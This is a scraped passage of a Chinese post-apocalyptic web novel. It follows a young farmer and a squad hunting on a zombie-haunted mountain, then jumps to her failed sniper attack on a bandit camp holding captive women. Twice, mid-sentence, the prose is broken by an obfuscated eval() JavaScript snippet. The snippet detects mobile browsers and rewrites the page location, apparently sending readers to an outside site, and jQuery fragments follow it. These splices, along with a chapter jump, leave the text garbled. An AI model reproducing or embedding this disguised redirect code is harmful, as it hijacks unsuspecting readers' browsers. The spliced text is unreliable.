“……你知道菜籽油首先要收割,拿到菜籽之后还要炒,磨成粉,再蒸,包成饼,最后才是榨。”
秦丰举起手里的小白条恶狠狠地骂:“天杀的丧尸还我菜籽油。”
时枌举起手里的菜刀面无表情跟着骂:“还我菜籽油!”
然后两人丧丧地对视一眼,同时叹了口气,放下手,继续杀鱼。
没多久西芹也加入时枌的杀鱼队伍。
再然后叶枝蔚看外边太阳发现都快到正午,忍不住来催他们。
“不是说今天上山采菌子的吗?”叶枝蔚一进厨房就看见一地血腥。
中间一个大铁盆装满了不咋扑腾的小白条,周围围着时枌秦丰西芹三人,人手一把菜刀,面前一个搪瓷盆满满的都是鱼肠鱼鳞,砧板都被淹没在其中,而他们个个戴着手套满手血腥,听见声音抬头看向她。
叶枝蔚:“……还有多少?”
时枌一指中间大盆。
叶枝蔚松了口气,“就这些了?那我帮你们……”
“不是,还有两铁盆。”
“…………”
昨天到底起了多少小白条!
到底是谁啊要吃这么多小鱼干!
叶枝蔚愤愤找了个小板凳坐下,然后掏出一把自己不常用的刀开始帮忙杀鱼。
每次攒够了一板鱼,时枌就去清洗干净,摆放在托盘上,再拿去土窑烘烤。挖出来的鱼鳞还有内脏也要留着埋到地里当肥。
一群人忙得脚不沾地。
终于,半天没见着人影的西池也加入了杀鱼队伍。
他刚把时枌的柴房“恢复原状”。
简而言之,就是将柴回归到他们刚来时候的高度。
一群人在下午黄昏时分才把所有的小白条杀完,午饭都是随便对付两口,再啃小鱼干蘸辣酱。
别说,这个烤小鱼干味道还不错。
虎子跟大熊也跟着吃了一些,时枌怕它们会吃腻,没多给。
终于能出发上山。
这个点上山就不指望采什么菌子了,大晚上的路都看不清,经过他们一群人商量,最后决定今天在山上过夜,明天白天采完菌子再下山。
这次所有人都去,就连孙金也主动说想去帮忙。
时枌觉得他大概是怕大家孤立他吧。
最近孙金不盯着西芹,时枌觉得他这个人都正常了呢。
大家吃完晚饭才出发。
时枌带上了自己那把□□银鸽,子弹充足,还有一把匕首,衣服里塞了一把手枪,换上适合爬山的皮靴,带着虎子跟大熊一起。
看见她拿装备大熊就一直在兴奋地低声呜汪
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14622820|156201||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
呜汪,围着她转圈圈,尾巴也高高竖起,虎子就稍显淡定,偶尔配合媳妇呜汪两声。
屋子里没人,时枌怕小狗崽乱跑,就把小狗崽的狗窝收了进来,锁好门才出发。
以往时枌上山都是自己一个人独来独往的,今天浩浩荡荡一群人还有点不习惯。
他们这么聚集反而还容易吓跑猎物,于是商量着分成两队,赵弋带着孙金跟西池,时枌西芹秦丰还有叶枝蔚一起。
但两组人也不会分开太远,大概在这一片区域就行。
“山上应该会有熊,这个季节他们也结束冬眠了,很可能会出来觅食。”时枌叮嘱他们。
这次最好是抓到些山鸡野兔野猪什么的。
他们每个人手上都有枪,应该没什么大问题,再说还有两条狗。
时枌让虎子跟着赵弋他们一起,虎子颇不情愿的样子,几次回头试图让主人回心转意,但最后还是跟着赵弋去了。
毕竟虎子经常上山,对这里更熟悉,而且这样他们之后跟着虎子就能跟时枌会和。
到山脚下时天已经只剩下一线天光,两队人分开上山。
时枌让大熊先去前面看看情况。
西芹明显有点害怕,紧紧跟在时枌身后,叶枝蔚跟秦丰在最后边。
“我、我什么都不会,是不是很没用,要不我自己回去吧?不然我怕到时候拖累你们……”西芹小声地说。
听声音都快哭了。
“回去干嘛?好不容易有机会锻炼,你不是一直想练枪么?这不正好。”时枌说。
西池给了妹妹一把手枪,那天他从阳县带回来的,他们平时出任务捡到点枪什么的很正常,在保护区外可以随便用,但回到保护区后需要主动上交,当晚西池还教了教她,只是西芹现在也不敢开保险就是。
这次跟着一起上山狩猎,西芹也是鼓足了勇气。
沿途一路往上走。
时枌走的都是小道,顺便用刀清理拦路的荆棘,经过一处时枌看见什么,停下脚步。
这里有水流,很小,小碎石头上长满了青苔,比较潮湿,好几棵小小的兰草舒展着枝叶,有一支抽出了花梗,挂着莹白如玉的三朵小花,靠近了还能闻到淡淡清新的花香。
时枌实在忍不住。
“等等哈,我采个花。”
她小心翼翼将开花的那棵兰草旁边一棵摘下,尽量保留了白嫩嫩的根,然后用潮湿的青苔包裹,仔细放到西芹后背上的背篓里。
“你挖草干啥?”
秦丰凑上来看了看,不太理解。
“采回去养呗。”
奶奶生前喜欢养兰草,院子角落里种了不少,丧尸爆发后也没人管,爷爷每次上山都会看看有没有家里没有的兰花,找到了就采回去让奶奶养。
时枌小时候每年春天都能闻到不同的兰花香。
奶奶会将几朵兰花扎在她的小辫子里,让她一整天脑袋都是香香的。
这棵时枌没在家里见过,应该是家里没有的“新品种”,怎么可能不心动。
时枌采完兰草,正准备出发,旁边的西芹脚下一滑,整个人瘫软在地。
“蛇——蛇啊——!”
西芹还是很乖的,尽管看见蛇吓得腿都软了声音都在发抖,但还是忍着没尖叫出声,只是伸手颤颤悠悠指着对面某个方向。
时枌看了眼正在喝水的蛇。
“椭圆脑袋,没毒的,要不……加个餐?”时枌回头问另外两人。
叶枝蔚立刻点头,然后快速上前一脚踩住蛇脑袋,一刀将蛇砍成两半,又切掉了脑袋,最后拎着两根“辣条”问他们:“这东西也没肉,好吃吗?”
秦丰咽了咽口水:“好吃好吃,鸡肉味,嘎嘣脆。”
瘫在地上的西芹:“……”
12. 第 12 章
好不好吃的,反正都到手里了。
就地生火,开烤。
鉴于西芹怕蛇不敢吃,叶枝蔚嫌弃没肉不吃,时枌不太爱吃这玩意,秦丰只能恨恨剥皮串在树枝里烤了,自己一半大熊一半。
还好大熊不挑食。
这东西在大熊嘴里就跟末世前的辣条一样,咔吧咔吧几口简单嚼了嚼就吞进肚子里,再看秦丰的眼神都有几分意犹未尽。
秦丰摸摸大熊脑袋,“等着,我今天高低给你多整几个荤菜。”
他们这群杂食人类也就算了,大熊虎子这样忠心的猎犬成天跟着吃剩饭秦丰都替它们鸣不平。
今晚至少得给大熊搞两只山鸡垫垫肚子。
大概是听懂了他的话,大家原地简单休整后重新上路。
大熊首先发现了一只灰兔,立马过来给时枌信号。
时枌叮嘱他们:“打脑袋,皮留着我今年想做条兔毛毯子。”
“哪哪呢?我来我来,我老神枪手了。”秦丰乐呵呵挤开时枌端着枪就原地瞄准。
他的枪带了消/音/器,但声音还是挺大的,第一枪直接歪了打到草上,兔子立马就跑了。
“嗤——”叶枝蔚微笑咧嘴发出嘲讽的声音。
大熊也回头看向秦丰。
那眼神大概是说:早知道我就自己上了。
时枌:“挺好的,一点没伤到兔皮。”
秦丰:“……”
他现在去老赵那边还来得及吗?
开门失利,大熊再次发现猎物后首先看了秦丰一眼,才看向时枌。
这一次她还是自己来吧。
一群人保持安静,时枌借用叶枝蔚那支步枪,简单调整了一下,就着昏暗的光线瞄准兔头。
砰——
兔头,炸了。
大熊立刻飞奔过去把兔子叼回来,时枌拿绳子绑着兔头挂在自己腰间,继续往前。
这一窝兔子不少,没一会儿功夫就被他们一锅端,秦丰一雪前耻拎着两只兔子回来,而这时,大熊忽然低吼起来。
大熊在外轻易不出声,除非是紧急情况。
时枌立刻端枪看向大熊示警的地方,很快就听见窸窸窣窣的动静,紧贴着她的西芹整个人都紧绷起来,瑟瑟发抖,叶枝蔚端枪对着那个方向,秦丰也快速回队。
突然,从漆黑灌木丛里冲出来一头顶着血肉模糊丧尸的黑熊!
黑熊明显发怒了,但脑袋上那只丧尸死死咬着他的头皮,竟然给黑熊都咬出一块伤口,而被血腥味刺激的更加发狂的丧尸手脚并用,没了皮肉的尖利指骨生生扎进黑熊的眼睛,黑熊发出一阵痛苦的哀嚎。
黑熊皮毛杂乱,看样子是刚结束冬眠从洞穴出来,正是饥肠辘辘虚弱的时候,没想到会碰上深山里的丧尸,一下子就被丧尸咬住。
时枌快速抬枪,一枪瞄准黑熊脑袋,巨大的枪声震耳,她这把霰/弹枪两枪足够让黑熊脑袋炸开花,黑熊发狂一阵缓缓倒下,丧尸还死死扒在黑熊脑袋上咬着溅出来碎骨与血肉。
叶枝蔚刚准备抬枪瞄准,看见愣愣盯着黑熊跟丧尸的西芹,想起什么,放下枪,对她说:“你试试。”
这时候极度饥饿的丧尸只顾着眼前血肉,根本注意不到他们,相当于一个固定靶子。
“好、好的。”
西芹这才拿出枪。
秦丰教她怎么瞄准。
西芹认真听着,一边点头,一边瞄准,对着丧尸脑袋开了一枪。
有点歪。
这一枪吸引了丧尸的注意力,短暂吃到食物的丧尸缓慢扭头,一双死灰般的眼睛盯着西芹。
“别慌,继续瞄准。”叶枝蔚低声道。
那只丧尸已经放下黑熊,拔出插在黑熊眼睛里的手指,歪歪扭扭地朝他们走过来。
第二枪打在了丧尸肩膀。
子弹的冲击力让丧尸右肩往后一撇,整个躯体变得歪七扭八。
西芹的手在发抖。
“不错,已经打中了,比秦三强。”时枌夸了一句,“再来一枪。”
闻言秦丰两眼一黑。
西芹调整好呼吸,深吸一口气,集中注意力瞄准,然后扣下扳机。
正中脑门,虽然有点歪。
炸了半边脑袋的丧尸整个身体彻底歪到在地,却依旧伸长手臂试图向前。
这次不需要他们提醒,西芹最后对着丧尸脑袋补了一枪。
它彻底不动了。
叶枝蔚跟时枌朝她竖起大拇指。
秦丰早跑过去查看黑熊的状况。
“啧,好好一只熊就这么浪费了。”
被丧尸咬过的熊他们可不敢吃。
尽管丧尸病毒只针对人类,而且目前也没发现其他动物有感染的迹象。
这地方不靠近水源,黑熊跟丧尸尸体也不用另外再挪,就地放着也不会污染水源。
时枌是沿着山泉水往上走的,水是重要资源,靠近水源的地方生活的动物更多。
据时枌所知,这座山上并没有老虎狮子之类的野兽,黑熊她倒是听爷爷说过,自己也见过几次。
她有猎枪,还有两条猎犬才有恃无恐。
“时枌,皮你要不要?”秦丰扒拉着熊掌问她。
时枌回以他嫌弃的一眼。
刚冬眠出来的熊皮毛跟被爆米花崩了似的,谁稀罕它这一身破烂毛,回去不知道要浪费她多少肥皂才洗的干净。
“得了,一无是处,咱们接着找吧。”
夜越来越深,倒是月光越来越亮。
不知道是不是时枌的错觉,她总觉得末世后的月光要比末世之前亮许多。
西芹倒是很认真地点头应和:“我哥哥也这么觉得,他总说他小时候的月光特别亮,跟现在一样亮,但是保护区里看不见月光。”
“啊?保护区看不见月亮吗?”时枌问道。
“看不见。”西芹摇摇头。
叶枝蔚解释:“保护区资源有限,土地资源也是资源,大部分人都集中居住在一块地方,特别拥挤,所以看不见月亮很正常。”
“那为什么不扩张地盘?”
时枌自己就是这么做的。
一开始爷爷奶奶院子也只有石墙内这么大,她嫌弃地方小活动不开,虎子跟大熊都跟着她憋屈,于是才到处搜罗资源换到了铁丝网,一点一点清理丧尸再扩建,到今天扩建也没真正完成,她还想着将自己的农场扩建到山脚的田地里呢。
“不清楚,老赵可能知道吧,他们这种高级指挥官多多少少会接触一些保护区的未来规划……”秦丰说。
“保护区人很多吗?”时枌问。
“挺多的,听说今年生育率高,人口总数都突破二十万了。”
“哇,那确实很多。”
几人没再多聊,继续往前。
大晚上的,猫头鹰倒是不少,山鸡没见着一只,好在有这几只兔子还有秦大厨随身携带的烧烤料,几人宵夜也能有着落。
在林子里晃悠了一个多小时,忽然虎子跑了过来,示意他们跟着他走。
时枌不明所以,猜测是赵弋他们那边有什么发现。
又过了半小时,两队正式会合。
时枌才发现他们竟然抓到了一只羊。
一只没有受伤,毛色雪白的羊。
孙金:“这只可是我们从丧尸手里抢过来的,差点就感染了,回去我来杀,时枌你没意见吧?”
这话说得稀奇,他们自己狩猎得来,她有什么资格有意见?
“没意见,你们随便处置。”时枌说。
他们当然还有其他收获,大家归拢归拢,坐下来烤兔子宵夜。
已经是深夜十二点,也是时候休息了。
收集好兔皮,兔子交给秦丰去烤,时枌对着这只羊琢磨半天,凑近看了看,还是忍不住把赵弋拉过来。
“你们在哪发现的?”
赵弋一个一米九几的个子,站在她身边就像一座小山,她站的位置靠外,他过来时站立时正好挡住了孙金好奇的目光,赵弋微微侧身
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14622821|156201||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,抵挡住了时枌的身体,才低声道:“刚分开没多久就看见了,这只羊在一棵树旁边吃草。”
时枌:“也就是在山脚的位置?”
“嗯。”
真巧,她去年捡到小白小黑也是山脚下。
“……你觉不觉得它跟我家那两只长得挺像的?”
赵弋挑眉看向她,“你要给你家羊认亲戚?”
时枌莫名被噎了一下,“不是,我就是想说……有没有一种可能,我捡的那两只羊,跟这一只是同一个人或者同一群人养的?”
赵弋早听明白了。
看见这只羊的时候他就发现了不对劲。
首先如果这羊是野生的不会这么没警觉,这只看见人类靠近不跑,显然是适应人类接触的,而且毛发也很干净,倒是有可能是自己跑出来的。
而这也意味着,有另一群人在这附近居住。
不管是敌是友,时枌已经“偷”了他们两只羊,而现在他们又“偷”了一只,并且这一只已经下了判决书,明天带回去会变成烤羊腿、烤羊排以及羊杂汤,羊毛还会被西芹收集起来尝试做成毛线。
里里外外都安排的明明白白。
时枌跟赵弋对了个眼神,瞬间明白对方已经理解了自己的意思。
“明早就回去。”赵弋说。
“嗯,反正山这么大,还有熊出没,说不定人家以为是熊吃的。”
赵弋:“……”
其实他很想说别人应该没有这么蠢。
但这人能蠢到放跑一只羊……
算了,一切皆有可能。
这事就此搁置。
时枌回去守着烤兔子了,赵弋倒是站在原地沉思了会儿。
时枌都知道这只羊背后潜藏的危机,而他的副队此时眼里只有烤兔子烤羊排,对着烧烤料正流口水。
算了,临时组队,他常规队伍里也就只有秦丰这一个蠢的,还是可以接受的。
赵队就这么自我安慰着,回到了队伍中。
虎子眼巴巴看着烤兔一边跺脚一边流口水,大熊则是去周围警戒,尤其关注那只还在傻乎乎若无其事吃草的羊。
大家商量着晚上轮流守夜,赵弋四小时,秦丰四小时。
嗯,赵队定义的“轮流”。
秦丰自然是没什么的,他有兔子吃能精神一整晚。
“我用不上睡袋,你用我的,把你的给时枌用呗。”秦丰对叶枝蔚说。
叶枝蔚点头,把自己的睡袋递给时枌。
时枌一脸迷惘抬起头,目光先落在秦丰身上,很快又转移到叶枝蔚身上,来来回回好几次,终于忍不住问出声:“所以为什么要这么麻烦?”
叶枝蔚:“嗯?”
“为什么你用他的,我用你的?”
叶枝蔚也沉默了。
她想了想,将时枌的疑问归结为“独自生活太久不太理解什么叫避嫌”。
“他是男的,不适合把睡袋借你用。”叶枝蔚像个知心大姐姐一样温声解释着。
“这个我知道。”时枌满脸单纯,“那为什么你能用秦三的睡袋,我就要避嫌呢?”
她问得相当直接且直白,叶枝蔚都彻底愣住。
秦三直接暴走:“我叫秦丰!能不能把我老二加上!那只鹅有那么大胃口吗一口就叨走我辣么大的老二了!!!”
叶枝蔚一巴掌捂住秦丰的大嘴巴,眼神警告:你当着孩子面瞎逼逼啥呢。
“我这样跟你解释吧,我俩,”叶枝蔚认真看着时枌写满纯洁的眼睛,“是情侣关系。”
时枌:“……哇哦。”
有种通电般的通透感。
西芹直愣愣看着叶枝蔚,又看向秦丰,反应过来后瞬间脸通红。
时枌:“……所以,你俩的关系很见不得人吗?”
叶枝蔚看见西芹反应,狠狠沉默了。
“你看看秦十,”叶枝蔚说,“像是拿得出手的样子吗?”
被迫丧失老二且改名的秦丰:“…………”
40-50
第41章 第41章她没想到会失误。
这块区域的难民大多都集中在保护区城墙附近,而且手里也不会有枪,最多拿把不知道几手的刀防身,但刚刚经过的两个男人却不一样。
他们衣服脏乱,但身上却挎着枪,行动也自如,不像难民饿了很久的样子,而且走得很快,应该是有什么事要去做。
时枌目光追随着他们,直到被树叶遮挡视线,几乎弄丢了他们的踪影。
她当机立断,记好他们的方位,收枪下树,背着枪跟了一段距离,才又找了棵方便隐藏的榕树爬上去,重新拿望远镜查看情况。
进保护区时她的枪都被没收了,但是离开之前去取枪却发现了一整套完整的装备。
望远镜、手电筒、对讲机、狙击枪的零散装备、作战服也有一套合身的,还有一份医疗包,原本是三个月的营养液,时枌嫌麻烦就只带了十五支在身上。
东西全是全,就是挺重的,难怪赵弋秦丰他们每次出任务丁玲哐当带一堆,看着就累人。
看来保护区福利待遇还挺好,她就注册个身份都给分配这么多东西,还贴心地给她的狙击枪换上了更好的装备,嘿嘿,看来这次没白来。
时枌看了眼自己的手表。
这附近信号弱,但也收得到消息,之前离保护区近的时候她就查看过群聊消息,看见了周霓问她的情况如何,但也没时间回复,她忙着深入森林。
这会儿在树上,不经意扫过手表,倒是有种想解锁看看有没有新消息的冲动。
她忍住了。
因为前方不远处燃起了火光。
借着望远镜跟火光,时枌看见那棵巨大榕树下是一处营地。
营地内支着帐篷,粗略估计有六七个帐篷,帐篷中央燃着篝火,看得见的有五人持枪站岗,其余人可能在帐篷内,看不清情况。
刚刚那两人成功跟营地会和,他们跟站岗的一人似乎是说了什么,被允许进入一个看上去精致结实的帐篷中。
离得远,时枌也听不见他们在说什么。
只能安静等待着。
半天也没动静,除了站岗的人去尿尿外再没别的,而从这几人穿着来看应该也是源城来的难民,只有一个之前跟那两人交谈的男人对自己的枪更熟悉,他像个小领导,其他站岗的人要是想上厕所还得跟他请示。
正在时枌无聊到想要玩手表的时候,其中一个帐篷突然钻出来一个蓬头垢面的女人。
看清那女人的脸后,时枌愣了一瞬,随即缓缓皱起眉。
阳县每次来农场跟她交换物资的时候大多是士兵跟女人的人员配置,士兵是为了保护他们的安全,而派女人来则是为了让照顾时枌一个小姑娘,给她足够的安全感。
在前几年,阳县的女人们偶尔也会送一些自己做的衣服来给她,跟她换取食物。
这也是为什么她总有穿不完的衣服。
而刚刚从帐篷中出来的那个女人,那张脸,时枌见过,并且熟悉过。
她不记得她的名字,但记得她丈夫喜欢吃白萝卜,每年秋冬她都会拿亲手缝制的棉衣来换取几根白萝卜回去给她丈夫做鲫鱼白萝卜汤喝。
那时她说起这些眼里总是充满温柔的笑意。
现在却变成了麻木,空洞。
头发杂草一样纠缠在一起,脸上灰扑扑的分不清是伤痕还是灰尘,衣服也很乱,像被人拉扯过一样。
她只是嘴唇动动,在跟那个男人说话,似乎是在提出什么请求,男人听完就笑了,扯着她的头发让她跟自己对视,说了句什么,女人却没有丝毫反应,她的态度明显惹恼了男人,时枌都能听见男人的骂声,一脚将她踹在帐篷上,帐篷内像是养了什么牲畜一般因为突兀的动静骚乱起来,鼓起一个又一个鼓包。
男人大吼,帐篷很快就恢复平静。
这时,那个精致帐篷被掀开,走出一个人来。
是个较高的中年女人,身形干练,腰间别着手枪,衣服也是相对干净的,她一出来似乎给外边的其他人带来了无尽的压迫感,至少方才还嚣张的男人已经顺从地低下头,而她身后也走出刚刚那两个难民,皆是一副顺从姿态。
时枌听不见他们的谈话,只能从他们的动作上分辨。
这也足够让她分清这个团队中领导者是谁。
白狼,母狼。
还有阳县的女人。
足够确认这群人的身份。
看来她之前的猜测没有错,因为源城难民涌出,大部分都逃到相近的兰城来,而刚损失了一部分人手的他们也需要补充,因此才在兰城附近寻找机会。
他们的习性是不会常年定居在一处的,往往是这边抢完那边抢,哪里有资源哪里就有他们。
时枌低头数了数自己带的子弹,小心翼翼装子弹。
狙击枪容量小,只能装五发子弹。
首要目标自然是那个领头的白狼。
她轻手轻脚放置好枪,控制呼吸瞄准。
夜里起了风,帐篷都被吹动。
白狼正在跟其他人交代什么,阳县女人也重新进了她之前的帐篷,篝火跃动着,星星点点的火花在空中劈啪炸开。
时枌透过瞄准镜,食指扣在板机上,注意力全部都放在那人脑袋上。
“砰——”
就算是装上了消/声器,枪声依旧很明显,尤其是在这样寂静的山林中。
这一声枪响在林中炸开,惊起夜间飞鸟扑扇飞远。
子弹擦着女人头皮而过,几乎是同时,女人猛地侧头看向时枌所在的方位,那眼神凶狠的令人头皮一紧,整个营地其他人立刻警戒,子弹上膛声哒哒响成一片。
同一时间,失手的时枌整个人脑子嗡了一声,甚至产生了耳鸣。
她没想到会失误。
距离在可控范围之内,甚至目标都没有大幅度的摇头动作,那只可能是风。
风太大了。
影响了她的判断。
现在该怎么办?
一共只有五发子弹,如果她连续射击当然有更大的把握杀了白狼,但一旦连续射击,自身位置也更容易暴露,这么近的距离,如果被发现她根本来不及逃,对方持枪人数至少在二十人以上。
短短一瞬,时枌脑子乱成一团,这种时候,她快速下了决断。
退弹壳,重新瞄准。
可那女人已经动了起来,身形极快,明显是有经验,在她退弹壳的时间已经找好了掩体。
时枌咬牙,迅速换了目标,对准刚刚领头的男人。
一连四发子弹,速度极快,在他们还来不及感到恐惧举枪射击之前就干掉了四个目标,削减对方的人数。
时枌抬起狙击枪快速收好,这种时候完全靠肌肉记忆,然后尽量轻巧地从树背爬下去,同时拔出了手枪,开保险,上膛。
脚步声已经在靠近,时枌只能往更隐秘处藏。
树叶与风割着她的脸颊,只有呼啸的风声不断在耳边炸开,但很快,自己急促的呼吸声就掩盖了一些杂声,她甚至都没时间判断哪个方向更安全,完全靠着自己的直觉往前跑。
呼——呼——呼——
后背上这只狙击枪是真沉啊。
面对这种对方人数较多的情况其实狙击枪并不是最佳选择,不如一把自动步枪直接突突杀伤性更大。
可谁让她贪心,第一目标是白狼,想着只要把白狼干掉了,其他人再慢慢清理。
结果没想到白狼如此敏锐,根本没给她第二次动手的机会。
好在她刚刚杀的那几个都是挎着枪的,而且都是步枪,他们要么去跟尸体换枪拖延了时间,要么就没来得及去换枪,只能拿着自己随身带的武器来追她。
时枌听着身后的枪声,果然以手枪居多,心里忍不住松了口气。
她的体力足够,但不能这样被他们一直追,得拖延一下。
于是她短暂停留,扭
头举起手枪快速清空弹匣,然后转头继续跑,边跑边换弹匣。
这样也并不是想多杀几个人,主要是为了火力压制,让他们不敢再追。
——手枪火力压制当然有点不够看。
现在要是有把ak就好了。
算了,跑吧。
时枌这么想着,同时手脚伶俐,拆了个手榴弹往后一扔,继续跑得飞快,钻进林子里不见身影。
巨大爆炸声响起。
“停下!”一人大声叫住其他人,“不能跑太远!老大发信号了!”
他们不确定偷袭者的数量,万一这是调虎离山怎么办?
身后响起三声枪响,一群人终于停下了脚步。
有人咬牙,“她杀了老三!”
直接爆头,就死在他眼前,血溅了他一身。
“闭嘴!回去!”一身黑衣的男人凶狠道,“死了就死了,哪天不死人?!物资还在,万一被抢了咱们都得喝西北风!”
这人脸上从右眉到下巴有一道蜿蜒的刀疤,让一张原本就显得凶恶的脸变得更加令人恐惧。
其余人明显畏惧他,没再多纠缠,一行人再次回到营地。
女人正在篝火旁,就着火光仔细检查着一颗子弹。
“老大,人没追上。”刀疤脸说。
“该死!到底是谁盯上了我们?这破地方之前根本就没人来……整个外围谁不知道这里是我们的地盘?!”
他们算是外围一股不小的势力了,暂时定居在此处,经过的人要么被招揽要么被杀死。
“是兰城的人。”
女人声音格外平静,尽管她头上还带着子弹擦过的伤口。
只要再准那么一厘米,她都是必死无疑。
她缓缓勾起嘴角,一张素净的脸上显露出几分狰狞。
“他们还会再来的。”她说。
“上次听说野狼的营地被兰城军放小队偷袭,几乎全军覆灭……这次该不会也是他们吧?”刀疤脸担忧地问。
“不管是不是。”女人将子弹丢入篝火,“让那群新加入的难民守夜,两人一支枪,轮流巡视。”
“死人身上的枪扒下来你们几个分一分。”
她的眼睛倒映着火光,炽热的温度之下,薄唇吐出的话语刺骨残忍。
“把女人们放出来,一旦有情况,就拿她们当掩体。”
“或者,当人质。”
第42章 第42章算起来她现在已经到自己……
喝了支营养液补充体力。
时枌躺在枯枝落叶上已经平复了呼吸。
营养液还是蓝莓口味的,味道比之前在赵弋那喝的要好得多,至少不是干巴巴的白开水,可惜也只是淡淡的蓝莓风味,时枌自己就种蓝莓的人平时肯定看不上这种“果汁”。
但现在情况特殊,能快速补充体力的就是好东西。
以往她在山上打猎还需要带上肉干或者自己做的饼来吃,又或者狩猎动物简单烤了吃,过程复杂不说,生火带来的火光跟烤食物的味道还容易引来野兽。
这片森林她并不熟悉,第一次来还是谨慎些更好。
时枌打开手表查了下自己的定位,发现自己是朝东跑的,也就是往着罗辉以前农场的方向,这倒是让她放松不少。
这片区域潮湿、大树遮天蔽日,层层叠叠的枝叶像是一张巨网将她笼罩在内。
时枌警醒着,同时开始分析自己刚刚为什么会失手。
首先,枪加了装备,行动之前她没有足够熟悉枪,子弹都没装上。
其次,对行动计划没后更认真仔细地确定,以至于失败后狼狈逃窜。
最后也是最重要的,她没有提前摸清情况就贸然开枪还没有得手,太过冲动。
如果不是他们有顾虑没有追上来,现在她说不定已经死了。
他们迟早会发现只有她一个人,这种顾虑不会有第二次,下一次行动她必须做好更周密的计划。
时枌长长舒了一口气,仰天看着夜色中张牙舞爪的树枝,不知道为什么,这种遮天蔽日的枝叶让她突然很有安全感。
她想起了农场的那棵老桃树,也跟它们一样张牙舞爪的,姿态嚣张,每年夏天会挂满果子,毛茸茸的果子从青转白,再在太阳的晕染下扑上粉红,逐渐散发出香甜又迷人的成熟水蜜桃气息。
猪圈旁边两棵高压的桃树也不知道有没有存活,其实这个季节也并不适合种树,一般来说秋天是最合适的。
秋天温度相对较低,小树苗不至于在夏天暴晒炽热下脱水而死,有漫长的秋冬来好好发育自己的根系,等到春天温度适宜再开始发芽长叶抽枝,开启一轮新的生长。
集中注意力听了一段时间,周围十分安静,时枌也放下心来。
翻个身才才发现自己腰背一阵酸痛,脸上也是火辣辣的,——逃跑过程中被树叶刮的。
不行,还是得把作战服换上,不然也太难受了,时枌想着。
她之前偷懒,以往自己这样就行了,也就没有换上作战服,现在衣服划得破破烂烂不说,还受了伤,终于吃到了教训,赶紧把作战服换上,自己的破衣服找了个隐秘地方埋起来,随后去查看周围情况,找个舒服地方先睡一觉。
其实睡树上是最方便也是最安全的。
她只有一个人,没有队员轮班放哨,晚上万一睡死了被野兽发现就完了,树上就会更隐蔽一些。
但问题是天亮后,树上会变得更不安全。
时枌纠结半天,最后还是选择了上树。
不行,地面对她来说太没安全感,大不了天亮之后再下去。
上了树之后发现手表竟然有了一格信号。
她打开群聊看完了所有消息。
周霓早早就睡觉,在群里发了晚安,因为她第二天中午还有任务要出。
秦丰正在休假,跟骨头在群里聊得热火朝天,最新一条消息甚至是凌晨一点。
叶枝蔚话挺少,这个时间应该也睡了。
时枌打了个哈欠,心想还是先睡会儿补充精力。
就这么神经紧绷地睡去。
直到第一缕天光与数不清的鸟叫把她吵醒。
时枌带着起床气醒来的时候有一瞬间的迷惘。
她到底是抽了什么风放着好好的农场不待跑这鬼地方来受罪?
果然是一个冬天后紧接着一个月的安逸生活让她变懒了。
时枌收拾好东西下树,她把自己的狙击枪留在了树上,随身携带匕首跟手枪以及足够的子弹。
她定位了白狼的营地,他们有那么多帐篷应该是在那片地方驻扎很久了,不会轻易离开,现在大概率应该还在原地,而且清晨这个时间人是最容易放松警惕的。
最好是趁这个机会多处理掉几个人,减轻自己的压力。
可等她到达营地的时候,却看见一群阳县女人鹌鹑一样缩在一起,她们被用绳子捆绑着,旁边站着一个刀疤脸,而整个营地又出现了几个人站岗。
时枌隐约感觉到不对劲。
女人们为什么被放出来了?
他们在做什么?
她不敢再冲动,潜伏在周围观察情况。
这一等就等到了中午。
营地已经开火做饭,他们分工明确,手里拿着干净充足食物的明显是这个团体中的核心人员,包括那个刀疤脸,——昨晚追她的人之一,而且这小部分人身上带着的枪也比其他人好。
其他看上去瑟缩、瘦小、恐惧的应该是他们刚招收的难民,他们有的被分到了武器,有的手无寸铁,食物也是其他人吃剩的边角料,骨头都要嚼碎吞下去。
可他们还有食物吃,那群被堆积放置的女人们却什么都没有。
过了一会儿,刀疤脸过来给昨晚那个阳县女人一块肉,被女人扭头拒绝,他就把食物往她嘴里塞,她直接吐了出来,刀疤脸咒骂几句,肉被丢到一边,难民们就赶紧过来捡起来吃掉。
这种阶级分明的场景让时枌感到非常不适。
但她还是忍住了,继续等待机会,至少抓个人过来询问情况再做打算。
***
一早上九点赵弋就到了东区,继续开昨天开剩下的会议。
其实这场会议跟他并没有太大关系,如果换一个人来做阳县任务的队长,那个人也会被打包送到会议现场,美名其曰做任务汇报让参会众人更了解现场情况。
赵弋在昨天就已经将照片跟资料讲解过一遍了,阳县现场情况、铁矿的位置规模、煤矿的位
置以及大概估计,甚至是阳县遭遇尸潮之前的状态他也做了汇报。
今天本来不用来的。
但是这群领导层需要他来在这里当个吉祥物,并且不厌其烦地试探他爸赵千嶂在此事上的态度。
赵千嶂能有什么态度。
比起跟这群人在会议上打嘴炮,赵千嶂更愿意在家里和稀泥,昨晚先是劝他暂时妥协陪他妈去赴宴,发现劝不动后只能回去劝自己老婆放宽心,儿孙自有儿孙福,——他乐此不疲。
今天早上还特地亲自下厨做了早饭,拉着他一起吃,让他理解他妈的良苦用心。
赵弋一直都明白,赵将军演起家庭情景剧来是相当投入的。
算了,忍忍就过去了。
就像今天的会议一样。
